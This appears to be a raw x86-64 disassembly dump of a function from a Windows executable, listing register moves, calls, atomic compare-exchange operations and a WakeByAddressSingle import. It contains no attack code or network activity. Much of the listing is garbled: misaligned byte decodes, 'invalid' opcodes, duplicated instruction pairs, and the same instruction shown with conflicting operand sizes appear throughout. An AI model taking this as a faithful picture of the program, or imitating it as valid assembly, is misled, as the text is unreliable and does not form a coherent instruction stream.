add byte [rax], al
add byte [rax - 0x77], cl
invalid
call fcn.14001a200
movzx r14d, byte [rsp + 0x340]
movzx eax, byte [rsp + 0x341]
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x342]
mov word [rsp + 0xa6], ax
mov eax, dword [rsp + 0x344]
mov dword [rsp + 0x178], eax
movupd xmm10, xmmword [rsp + 0x348]
lea rax, [rsp + 0x350]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x580], xmm0
mov rdx, qword [rsp + 0x650]
cmp rdx, 2
je 0x14009e710
jmp 0x14009dd42
cmp dword [rdi + 0x100], 4
jne 0x14009d9c4
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009da24
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
call fcn.1400a3630
test rax, rax
jne 0x14009da0a
test rdx, rdx
jne 0x14009da0a
mov r14b, 4
cmp dword [rdi + 0x100], 4
jne 0x14009dd30
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009da24
jmp 0x14009dd30
test rax, rax
jne 0x14009da18
test rdx, rdx
jne 0x14009dca8
mov r14b, 4
test rax, rax
jne 0x14009dd30
movzx eax, byte [rdi + 0x47c]
movdqu xmm0, xmmword [rdi + 0x444]
movdqu xmm1, xmmword [rdi + 0x454]
movups xmm2, xmmword [rdi + 0x464]
mov rcx, qword [rdi + 0x474]
movdqu xmmword [rsp + 0x344], xmm0
movdqu xmmword [rsp + 0x354], xmm1
movups xmmword [rsp + 0x364], xmm2
mov qword [rsp + 0x374], rcx
mov byte [rsp + 0x37c], al
mov byte [rsp + 0x340], 4
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
jne 0x1400a2e45
mov dword [rdi + 0x440], 1
jmp 0x14009d7c4
dec dword [rax]
jne 0x14009e5ae
mov rcx, qword [rsp + 0x658]
mov rdx, qword [rsp + 0x660]
call fcn.140004950
jmp 0x14009e5ae
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
call qword [rax]
cmp dword [rdi + 0x480], 2
jne 0x14009dc30
jmp 0x14009d7ad
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009d7f1
call fcn.1401105f0
mov r15d, eax
xor r15b, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x14009d800
jmp 0x1400a2c4f
mov rcx, qword [rcx + 8]
call qword [rax]
mov rbx, rax
mov r14, rdx
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x14009dbe2
mov rcx, qword [rsi + 0x20]
call qword [rax + 0x18]
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], r14
mov eax, 1
xor ecx, ecx
lock cmpxchg qword [rsi + 0x28], rcx
je 0x14009d7a0
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x39], cl
sbb byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
js 0x14009dc67
add byte [rax], al
and byte [rax - 0x39], cl
sbb byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
js 0x14009dc67
add byte [rax], al
xor edx, edx
xchg qword [rsi + 0x28], rdx
add rax, 8
call qword [rax]
cmp dword [rdi + 0x480], 2
je 0x14009d7ad
nop
cmp dword [rdi + 0x100], 4
jne 0x14009dc54
mov edi, 0x100
add al, 0x75
sbb ecx, dword [rax - 0x75]
xchg dword [rax + 1], ebx
add byte [rax], al
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009ddeb
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
call fcn.1400a3630
add byte [rax - 0x7b], cl
invalid
add byte [rax - 0x7b], cl
sal byte [rbp + 0x35], 0x48
test edx, edx
jne 0x14009dc9e
test rdx, rdx
jne 0x14009dc9e
mov r14b, 4
cmp dword [rdi + 0x100], 4
jne 0x14009dd30
add byte [rax], al
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009ddeb
adc dword [rdx + 1], 0
invalid
adc dword [rdx + 1], 0
add cl, ch
xchg edx, eax
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x73], 0x48
test edx, edx
jmp 0x14009dd30
test rax, rax
jne 0x14009dd16
test rdx, rdx
je 0x14009dd16
lea rcx, [rsp + 0x340]
call fcn.14001a200
movzx r14d, byte [rsp + 0x340]
movzx eax, byte [rsp + 0x341]
test byte [rcx + rax*2], ah
add eax, dword [rax]
add byte [rdi], cl
mov bh, 0x8c
and al, 0x42
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x54], al
and al, 0x44
add eax, dword [rax]
add byte [rsi + 0xf], ah
adc byte [rsp + 0x348], al
test byte [rcx + rax*2], ah
add eax, dword [rax]
add byte [rdi], cl
mov bh, 0x8c
and al, 0x42
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x54], al
and al, 0x44
add eax, dword [rax]
add byte [rsi + 0xf], ah
adc byte [rsp + 0x348], al
lea rdx, [rsp + 0x350]
movdqu xmm1, xmmword [rdx + 8]
outsd dx, dword [rsi]
or byte [rsi + 0xf], spl
jg 0x14009dc7c
and al, 0xd0
or eax, dword [rax]
add byte [rcx - 0x80], al
inc byte [rdi + rcx]
invalid
invalid
or dword [rax], eax
invalid
outsd dx, dword [rsi]
or byte [rsi + 0xf], spl
jg 0x14009dc7c
and al, 0xd0
or eax, dword [rax]
add byte [rcx - 0x80], al
inc byte [rdi + rcx]
test dword [rcx + rcx - 0x49bf0000], edi
add al, 0x48
mov edx, dword [rsp + 0x650]
mov r14b, 4
mov rdx, qword [rsp + 0x650]
cmp rdx, 2
je 0x14009e710
jmp 0x14009dd42
mov r14b, 4
test rax, rax
je 0x14009ddeb
nop word cs:[rax + rax]
mov rdx, qword [rsp + 0x650]
cmp rdx, 2
je 0x14009e710
mov rcx, qword [rsp + 0x658]
mov rax, qword [rsp + 0x660]
test rdx, rdx
je 0x14009dd69
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x668]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x650]
cmp r8, 2
je 0x14009e710
mov dword [rsp + 0x344], 0
mov dword [rsp + 0x34c], 0
mov dword [rsp + 0x354], 0
mov dword [rsp + 0x35c], 0
mov dword [rsp + 0x364], 0
mov dword [rsp + 0x36c], 0
mov dword [rsp + 0x374], 0
mov byte [rsp + 0x37c], 1
mov byte [rsp + 0x340], 4
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
jne 0x1400a2ce6
mov rsi, qword [rdi + 0x408]
lea rax, [rsi + 0x10]
mov qword [rsp + 0x180], rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi + 0x10], cl
jne 0x14009e539
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009e559
invalid
add byte [rax], al
invalid
xor ebx, ebx
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x1400a2cf9
mov r15, qword [rdi + 0x410]
lea r14, [r15 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x10], cl
jne 0x14009e574
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009e58f
invalid
xor eax, eax
movzx ecx, byte [r15 + 0x11]
test cl, cl
jne 0x1400a2d3c
cmp dword [rdi + 0x490], 0
je 0x14009def8
mov ecx, dword [rdi + 0x494]
mov qword [rsi + 0x28], rcx
mov dword [rsp + 0x18c], eax
mov qword [rsp + 0x518], r15
mov qword [rsp + 0x100], r14
mov dword [rsp + 0x4a0], ebx
cmp dword [rdi + 0x4b0], 0
je 0x14009df2d
cmp dword [rdi + 0x4b4], 0
setne byte [rsi + 0x189]
cmp dword [rdi + 0x498], 0
je 0x14009e5cd
lea rax, [rsi + 0x18]
mov qword [rsp + 0x110], rax
mov dword [rsp + 0x110], eax
mov dword [rsp + 0x110], eax
lea rax, [rsi + 0x1c8]
mov qword [rsp + 0x108], rax
mov ecx, dword [rdi + 0x49c]
mov eax, dword [rsi + 0x184]
xchg byte [rcx + rax - 0x71770000], al
test byte [rcx], al
add byte [rax], al
xchg byte [rcx + rax - 0x71770000], al
test byte [rcx], al
add byte [rax], al
xor edx, edx
mov ebx, ecx
sub ebx, eax
setne dl
mov r8d, 0xff
cmovb edx, r8d
cmp dl, 0xff
je 0x14009e082
movzx eax, dl
cmp eax, 1
jne 0x14009e5cd
mov r15, qword [rsi + 0x220]
test r15, r15
je 0x14009e5cd
mov rax, qword [rsp + 0x518]
add rax, 0x18
mov qword [rsp + 0x118], rax
lea r12, [rsi + 0x118]
lea rbp, [rsi + 0x1b8]
lea ebp, [rsi + 0x1b8]
lea ebp, [rsi + 0x1b8]
xor r14d, r14d
nop word cs:[rax + rax]
cmp r14, qword [rsi + 0x200]
jae 0x1400a2b47
mov rax, qword [rsi + 0x1f8]
mov rcx, r14
shl rcx, 4
mov rdx, qword [rsp + 0x108]
mov edx, dword [rsp + 0x108]
mov edx, dword [rsp + 0x108]
mov qword [rsp + 0x340], rdx
movq xmm0, qword [rax + rcx + 8]
pshufd xmm0, xmm0, 0xe1
shl cl, 0x66
invalid
invalid
test byte [rax + rcx*2], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
insb byte [rdi], dx
and al, 0x28
mov rax, qword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
shl cl, 0x66
invalid
adc byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x20], rax
mov rcx, r12
mov edx, ebx
mov r8, qword [rsp + 0x118]
lea r9, [rsp + 0x340]
and al, 0x40
add eax, dword [rax]
add al, ch
jne 0x14009e0a4
add byte [rax], al
and al, 0x40
add eax, dword [rax]
add al, ch
jne 0x14009e0a4
add byte [rax], al
test eax, eax
jne 0x14009e4b8
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x220]
cmp rax, r15
sbb r14, 0xffffffffffffffff
cmp rax, r15
sbb r15, 0
cmp r14, r15
jb 0x14009dfd0
jmp 0x14009e5cd
add eax, 0x90ff0000
add byte [rax], 0
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000003], eax
cmp eax, 2
jne 0x14009e71d
jmp 0x14009e74e
mov rdx, qword [rsi + 0x220]
test rdx, rdx
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
and al, 0xd8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0
add dword [rax], eax
add byte [rdi], cl
test al, dl
add byte [rax], al
invalid
and al, 0xd8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0
add dword [rax], eax
add byte [rdi], cl
test al, dl
add byte [rax], al
add byte [rcx], ch
enter 0xffffffffffffc931, 0x45
xor eax, eax
sub eax, ecx
xor ecx, ecx
xor r8d, r8d
jmp 0x14009e0ce
mov r9, qword [rsi + 0x220]
cmp r9, rdx
sbb r8, 0xffffffffffffffff
cmp r9, rdx
ror dword [rax - 0x7d], 1
fiadd dword [rax]
ror dword [rax - 0x7d], 1
fiadd dword [rax]
cmp r8, rdx
jae 0x14009e179
cmp r8, qword [rsi + 0x200]
jae 0x1400a2b47
mov r9, qword [rsi + 0x1f8]
mov r11, r8
shl r11, 4
mov r10d, dword [r9 + r11 + 8]
mov r11d, dword [r9 + r11 + 0xc]
mov dword [rsp + 0x738], r11d
mov dword [rsp + 0x73c], r10d
cmp qword [rsi + 0x1d8], r11
jbe 0x1400a2ab7
mov r9, qword [rsi + 0x1d0]
imul r11, r11, 0x130
cmp dword [r9 + r11], 2
je 0x1400a2ab7
add r9, r11
cmp dword [r9 + 0x114], r10d
jne 0x1400a2ab7
mov r10d, dword [r9 + 0x80]
sub r10d, eax
jo 0x14009e4f1
mov dword [r9 + 0x80], r10d
test r10d, r10d
jg 0x14009e158
xor r10d, r10d
mov r11d, dword [r9 + 0x84]
sub r11d, r10d
jle 0x14009e0b0
mov dword [r9 + 0x84], r10d
add ecx, r11d
jmp 0x14009e0b0
xor ecx, ecx
mov qword [rsp + 0x1d0], 2
mov qword [rsp + 0x1f0], 0
mov eax, dword [rsi + 0x124]
add ecx, eax
jo 0x14009e1a3
mov dword [rsi + 0x124], ecx
mov eax, ecx
test eax, eax
mov ebp, 6
lea r14, [rsp + 0x640]
jle 0x14009e5cd
lea r13, [rsi + 0x120]
jmp 0x14009e22e
cmp byte [rdx + 0x51], 0
je 0x14009e3ea
shl rax, 0x20
or rax, rcx
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0x640], rcx
mov qword [rsp + 0x648], rax
cmp dword [rdx + 0x48], 0x3b9aca00
setne bl
mov rcx, r13
mov rdx, r14
call fcn.140021220
mov rcx, qword [rsp + 0x110]
mov rdx, r14
mov r8d, ebx
call fcn.14001f580
cmp dword [rsi + 0x124], 0
jle 0x14009e3fd
add dword [rax], eax
add byte [rbx + 0x144be], al
add byte [rax], al
cmp dword [rsi + 0x144], 0
je 0x14009e3fd
mov ecx, dword [rsi + 0x148]
mov eax, dword [rsi + 0x14c]
cmp ecx, dword [rsi + 0x150]
jne 0x14009e2c0
cmp eax, dword [rsi + 0x154]
jne 0x14009e2c0
mov dword [rsp + 0xa10], ecx
add byte [rax], al
mov dword [rsp + 0xa14], eax
mov rdx, qword [rsi + 0x1d8]
cmp rdx, rcx
jbe 0x1400a2bc9
mov r8, qword [rsi + 0x1d0]
imul r9, rcx, 0x130
cmp dword [r8 + r9], 2
je 0x1400a2bc9
add r8, r9
cmp dword [r8 + 0x114], eax
jne 0x1400a2bc9
cmp dword [r8 + 0xc4], 0
jne 0x1400a2d96
mov dword [rsi + 0x144], 0
jmp 0x14009e33b
mov dword [rsp + 0xa10], ecx
mov dword [rsp + 0xa14], eax
cmp qword [rsi + 0x1d8], rcx
jbe 0x1400a2b53
mov rdx, qword [rsi + 0x1d0]
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400a2b53
pop rdi
add byte [rax], al
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400a2b53
movq xmm0, qword [rdx + 0xc8]
cmp dword [rdx + 0xc4], 0
mov dword [rdx + 0xc4], 0
je 0x1400a2d8a
test byte [rax + 0x4a], ch
add byte [rax], al
mov dword [rsi + 0x144], 1
movq qword [rsi + 0x148], xmm0
mov rdx, qword [rsi + 0x1d8]
mov dword [rsp + 0xa10], ecx
mov dword [rsp + 0xa14], eax
cmp rdx, rcx
jbe 0x1400a2b53
add byte [rax], al
mov rdx, qword [rsi + 0x1d0]
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400a2b53
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400a2b53
mov byte [rdx + 0x122], 0
mov dword [rsp + 0xa10], ecx
add byte [rcx + 0xa10248c], cl
add byte [rax], al
mov dword [rsp + 0xa14], eax
cmp qword [rsi + 0x1d8], rcx
jbe 0x1400a2bc9
mov rdx, qword [rsi + 0x1d0]
cmp dword [rdx + r8], 2
je 0x1400a2bc9
add byte [rax], al
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400a2bc9
movzx r8d, byte [rdx + 0x50]
add r8b, 0xfa
movzx r8d, r8b
cmp r8b, 6
cmovae r8d, ebp
cmp r8b, 3
je 0x14009e1d0
add ecx, dword [rdi]
test ah, dh
std
invalid
movzx r8d, r8b
cmp r8d, 5
je 0x14009e1d0
cmp qword [rdx + 0x88], 0
jne 0x14009e1da
jmp 0x14009e221
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 2
je 0x14009e5cd
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x1e0]
test rdx, rdx
je 0x14009e436
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1e8]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1d0]
cmp r8, 2
je 0x14009e5cd
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x1e0]
test r8, r8
je case.0x140051497.282
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x1d8]
lock dec qword [rax]
jne 0x14009e5cd
mov rcx, qword [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1e0]
call fcn.140004950
jmp 0x14009e5cd
mov r13d, edx
movaps xmmword [rsp + 0xaf0], xmm7
mov r14b, 1
xor ebx, ebx
mov rbp, qword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
insb byte [rdi], dx
and al, 0x38
lea r15, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x100]
mov eax, dword [rsp + 0x18c]
test byte [rsp + rcx*4], ah
add dword [rax], eax
add byte [rax + rax*8 + 0x130850f], al
add byte [rax], al
test byte [rsp + rcx*4], ah
add dword [rax], eax
add byte [rax + rax*8 + 0x130850f], al
add byte [rax], al
jmp 0x14009e609
movaps xmmword [rsp + 0x340], xmm7
sub dword [rsp + 0x340], edi
movaps xmmword [rsp + 0xaf0], xmm7
mov r14b, 1
mov r13d, 3
xor ebx, ebx
mov rcx, r12
mov eax, dword [rsp + 0x18c]
test al, al
jne 0x14009e61c
jmp 0x14009e609
mov rcx, qword [rsp + 0x180]
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
ror byte [rdi], 0x84
stc
invalid
invalid
ror byte [rdi], 0x84
stc
invalid
call fcn.1401105f0
mov ebx, eax
xor bl, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x14009dea8
test byte [rcx], bh
stc
invalid
invalid
test byte [rcx], bh
stc
invalid
jmp 0x1400a2cf9
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009ded6
call fcn.1401105f0
xor al, 1
movzx ecx, byte [r15 + 0x11]
test cl, cl
je 0x14009dee5
stc
invalid
invalid
stc
invalid
jmp 0x1400a2d3c
mov rax, qword [rdi + 0x380]
add eax, dword [rax]
add byte [rcx - 0x4a], al
add ecx, dword [rax - 0x7d]
clc
add cl, byte [rdi]
test dword [rbx + 1], ebx
add byte [rax], al
add byte [rax], al
mov r14b, 3
cmp rax, 2
jne 0x14009e71d
jmp 0x14009e758
call qword [rax + 0x80]
mov r14b, 3
mov bl, 1
cmp dword [rdi + 0x488], 0
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x100]
mov eax, dword [rsp + 0x18c]
je 0x14009e605
cmp dword [rdi + 0x48c], 0
setne byte [rsi + 0x188]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + rax*8 - 0x74b7ec8b], al
add eax, 0xe3cf8
test al, al
jne 0x14009e61c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
loopne 0x14009e65c
test eax, eax
jne 0x1400a25da
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14009e62a
invalid
test eax, eax
jne 0x1400a25fe
invalid
mov bh, 0x3f
add byte [rax], al
test dword [rdi + 0x3100003f], esi
ror byte [rax - 0x75], 0x8c
and al, 0x80
add dword [rax], eax
add byte [rsi + 0x75023c01], al
add dword [rdx + rax], edi
jne 0x14009e65d
xor eax, eax
mov rcx, qword [rsp + 0x180]
xchg byte [rcx], al
add dword [rdx + rax], edi
add dword [rdx + rax], edi
jne 0x14009e65d
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add byte [rbx + rbx*8 + 0x24948b48], al
cwde
add eax, 0x3c740000
test bl, bl
mov rdx, qword [rsp + 0x598]
je 0x14009e6a5
cmp dword [rdi + 0x480], 0
je 0x1400a258f
sbb dword [rdi], edi
add byte [rax], al
mov rax, qword [rsp + 0x530]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8]
add byte [rax - 0x75], cl
or dword [rax - 0x7b], ecx
leave
add byte [rax - 0x75], cl
or dword [rax - 0x7b], ecx
leave
je 0x1400a2556
cmp ecx, 1
jne 0x1400a2573
add dword [rdi], ecx
test esi, edx
add byte ds:[rax], al
cmp qword [rdx], rax
jmp 0x1400a2565
movaps xmm0, xmmword [rsp + 0xaf0]
movaps xmmword [rsp + 0xbd0], xmm0
or al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0xbd0], eax
mov al, 1
movapd xmm0, xmm6
cmp r14b, 3
je 0x14009d7c4
movdqa xmm1, xmmword [rsp + 0xbd0]
movdqa xmmword [rsp + 0x580], xmm1
mov dword [rsp + 0x178], r13d
mov word [rsp + 0xa6], cx
mov byte [rsp + 0x67], al
movapd xmm10, xmm0
mov rdx, qword [rsp + 0x650]
cmp rdx, 2
jne 0x14009dd42
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x380]
cmp rax, 2
je 0x14009e74e
add dh, byte [rcx + rsi + 0x48]
mov ecx, dword [rdi + 0x388]
mov rcx, qword [rdi + 0x388]
mov r8, qword [rdi + 0x390]
test rax, rax
je 0x14009e742
nop
add eax, dword [rax]
add byte [rax - 0x7b], cl
sal byte [rdx + rdx + 0x49], 0x8b
adc byte [rax - 1], cl
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
mov rax, qword [r8 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov rdx, qword [rsp + 0x540]
call qword [r8 + 0x68]
cmp r14b, 3
jne 0x1400a2614
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x828], rax
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x830], rax
movdqu xmm0, xmmword [rdi + 0x408]
or byte [rax + rax], al
invalid
and al, 0xc8
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
or byte [rax], al
add bl, dh
movq mm0, qword [rdi + 0x408]
or byte [rax + rax], al
invalid
or byte [rax + rax], al
add byte [rsi + 0x41], ah
paddq mm0, mm0
paddq xmm0, xmm8
movdqu xmmword [rsp + 0x848], xmm0
mov byte [rsp + 0x858], 0
and al, 0x58
or byte [rax], al
add byte [rax], al
and al, 0x58
or byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x498]
test byte [rax + rbx*4], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
or byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*2], ah
add eax, 0x20000
add byte [rax], al
test byte [rax + rbx*4], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
or byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*2], ah
add eax, 0x20000
add byte [rax], al
mov qword [rsp + 0x578], 0
cmp byte [rdi + 0x1c2], 0
jne 0x1400a1940
cmp byte [rdi + 0x1c1], 0
je 0x14009eab0
add byte [rdi], cl
test al, cl
add al, byte [rax]
add byte [rax + 0x1c0bf], al
add byte [rax], al
cmp byte [rdi + 0x1c0], 0
je case.0x140068e61.238
pop rdi
lea rcx, [rsp + 0x340]
mov rdx, rdi
add eax, dword [rax]
add byte [rax - 0x77], cl
cli
mov r8, qword [rsp + 0x138]
call fcn.1400f4c50
invalid
test byte [rax + rdi], ah
add dword [rax], eax
add al, ch
add eax, 0xbc834800
add byte [rax - 0x7d], cl
invalid
and al, 0x40
add byte [rax - 0x7d], cl
mov esp, 0x34024
add eax, dword [rax]
cmp qword [rsp + 0x340], 0
add eax, dword [rax]
add byte [rax], al
mov r13, qword [rsp + 0x348]
jne 0x1400a1b60
mov r12, qword [rsp + 0x350]
lea rax, [rsp + 0x350]
add byte [rax], al
add byte [rax], al
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1d0], xmm0
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
jne 0x14009e8a6
jmp 0x1400a1b2e
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rax - 0x77], cl
cli
lea rcx, [rsp + 0x340]
mov rdx, rdi
mov r8, qword [rsp + 0x138]
and al, 0x38
add dword [rax], eax
add al, ch
call fcn.1400f4c50
invalid
call fcn.1400f4c50
cmp qword [rsp + 0x340], 0
cmp dword [rsp + 0x340], 0
mov r13, qword [rsp + 0x348]
jne 0x1400a1b60
mov r12, qword [rsp + 0x350]
lea rax, [rsp + 0x350]
and al, 0x50
add eax, dword [rax]
add bl, dh
movq mm0, qword [rax + 8]
movsb byte [rdi], byte [rsi]
and al, 0x50
add eax, dword [rax]
add byte [rax - 0x73], cl
test byte [rax + rdx*2], ah
and al, 0x50
add eax, dword [rax]
add bl, dh
movq mm0, qword [rax + 8]
movdqa xmmword [rsp + 0x1d0], xmm0
test r13, r13
je 0x14009ea9a
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x650], xmm0
test byte [rax + rdx*2], ah
invalid
add byte [rax], al
test byte [rax + rdx*2], ah
invalid
add byte [rax], al
mov qword [rsp + 0x320], r13
lodsb al, byte [rsi]
and al, 0x20
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x5c], cl
invalid
invalid
movsb byte [rdi], byte [rsi]
and al, 0x28
mov qword [rsp + 0x328], r12
movdqa xmm0, xmmword [rsp + 0x650]
outsd dx, dword [rsi]
test byte [rax + rdx*2], ah
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi], ah
xor byte [rbx], al
add byte [rax], al
add eax, dword [rax]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rdx*2], ah
invalid
add byte [rax - 0x73], cl
test byte [rax + rsi], ah
xor byte [rbx], al
add byte [rax], al
movdqu xmmword [rax], xmm0
xor byte [rbx], al
add byte [rax], al
movdqu xmmword [rax], xmm0
mov r15, qword [rdi + 0x378]
js case.0x140091f6b.83
add byte [rax], al
mov qword [rsp + 0x1a8], 2
mov dword [rsp + 0x1a8], 2
mov qword [rsp + 0x1c8], 0
mov dword [rsp + 0x1c8], 0
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r12, 5
invalid
invalid
invalid
invalid
add byte [rax], al
cmp r12, 5
jb 0x1400a2b1b
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x73], cl
push rsp
and al, 0xfb
sti
lea rdx, [r12 - 5]
sti
cmp rdx, 3
jbe 0x1400a2b0a
add byte [r8], al
movzx eax, byte [r13 + 3]
cmp rax, 9
cmp eax, 9
add ecx, dword [rax - 0x7d]
clc
or dword [rdi], ecx
xchg ebp, ecx
add al, byte [rax]
add byte [rax - 0x73], cl
lea edx, [0x1401788b4]
cmp eax, 9
ja case.default.0x14009e930
lea rdx, [0x1401788b4]
lea edx, [0x1401788b4]
add byte [rax + 0x63], cl
or al, 0x82
movsxd rcx, dword [rdx + rax*4]
add rcx, rdx
jmp rcx
leave
mov ebx, dword [r13 + 5]
movzx esi, byte [r13 + 4]
mov rdx, qword [rsp + 0x488]
and al, 0x88
add al, 0
add byte [rax - 0x75], cl
invalid
and al, 0x88
add al, 0
add byte [rax - 0x75], cl
sub al, byte [rcx + rcx*8 + 0xc0850f]
test cl, cl
jne 0x14009ea10
rol byte [rax], 0
invalid
test cl, cl
jne 0x14009ea10
rol byte [rax], 0
invalid
rol byte [rax], 0
add byte [rbx - 0x7bf0fd03], al
mov bh, 0
add byte [rax], al
cmp ebp, 2
je 0x14009ea10
mov r12b, 0xa
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
and al, 0x68
mov qword [rsp + 0x68], rax
and al, 0x68
xor eax, eax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x50], eax
mov eax, 1
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x90], eax
add byte [rax], al
add byte [rax + 0x44894801], dh
and al, 0x58
add byte [rax], al
mov al, 1
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x70], rax
lea rax, [0x1401167f0]
jle 0x14009e995
add byte [rax - 0x77], cl
and al, 0x40
invalid
mov qword [rsp + 0x40], rax
xor eax, eax
xor eax, eax
ror byte [rax - 0x77], 0x44
and al, 0x48
mov qword [rsp + 0x48], rax
xor r14d, r14d
mov dword [rsp + 0x34], 0
add byte [rax], al
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x38
add byte [rax], al
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x38
lea r15, [rsp + 0x1d8]
mov esp, 0x1d824
add byte [rbx + rcx*4 - 0x7c], cl
invalid
invalid
test byte [rax + rdi], ah
mov r8, qword [rsp + 0x338]
test r8b, 1
jne 0x14009f301
cmp al, 9
add byte [rax], al
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rcx + rcx], edi
cmp al, 9
cmp al, 9
add byte [rax], al
lock dec qword [r8 + 0x20]
jne 0x14009f329
invalid
add byte [rcx - 0x75], cl
and byte [rcx - 0x7d], cl
cmp byte [rax], al
invalid
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
invalid
add byte [rax - 0x75], cl
sbb eax, 0x74981
